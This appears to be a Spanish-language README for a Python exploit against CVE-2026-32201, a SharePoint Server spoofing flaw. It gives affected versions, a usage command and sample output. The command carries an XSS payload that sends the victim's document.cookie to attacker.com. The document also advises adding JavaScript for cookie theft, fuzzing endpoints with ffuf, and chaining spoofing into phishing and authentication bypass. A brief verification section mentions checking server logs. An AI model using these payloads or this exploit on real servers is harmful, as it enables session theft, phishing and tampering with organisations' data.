Resumen

Exploit en Python para CVE-2026-32201 - validación de entrada incorrecta en Microsoft SharePoint Server, que permite suplantación de red no autenticada (C:L/I:L).

• Afecta: SharePoint Server 2016 Enterprise, 2019, Subscription Edition < 16.0.19725.20210;
• Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N;
• Impacto: Ver/modificar datos sensibles mediante notificaciones/documentos suplantados.

Características

1. Detección de huellas de SharePoint.
2. POST manipulado para omitir la validación de entrada (sender_override).
3. Payload personalizable (remitente, destinatario, asunto, mensaje con XSS).
4. Análisis de respuesta para verificación.

Uso

1. Guárdalo como exploit.py
2. Ejecútalo para crear un archivo de modelo malicioso:

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

Ejemplo de salida:

[+] SharePoint detectado.
[*] Enviando solicitud suplantada a https://target.com/_layouts/15/notify.aspx
[+] Estado: 200
[+] Éxito potencial: Revisa los registros/correos del objetivo para ver el contenido suplantado.

Personalización

• Fuzzing de endpoints: ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• Payload XSS: Agrega JS en --message para el robo de cookies
• Encadenamiento: Suplantación → enlace de phishing → omisión de autenticación

Verificación

• Indicadores de éxito: 200 OK + "sent/success" en la respuesta
• Lado del servidor: Revisa los registros ULS/registros IIS para solicitudes anómalas
• Impacto: Monitorea correos/documentos por remitente falsificado, prueba la modificación de datos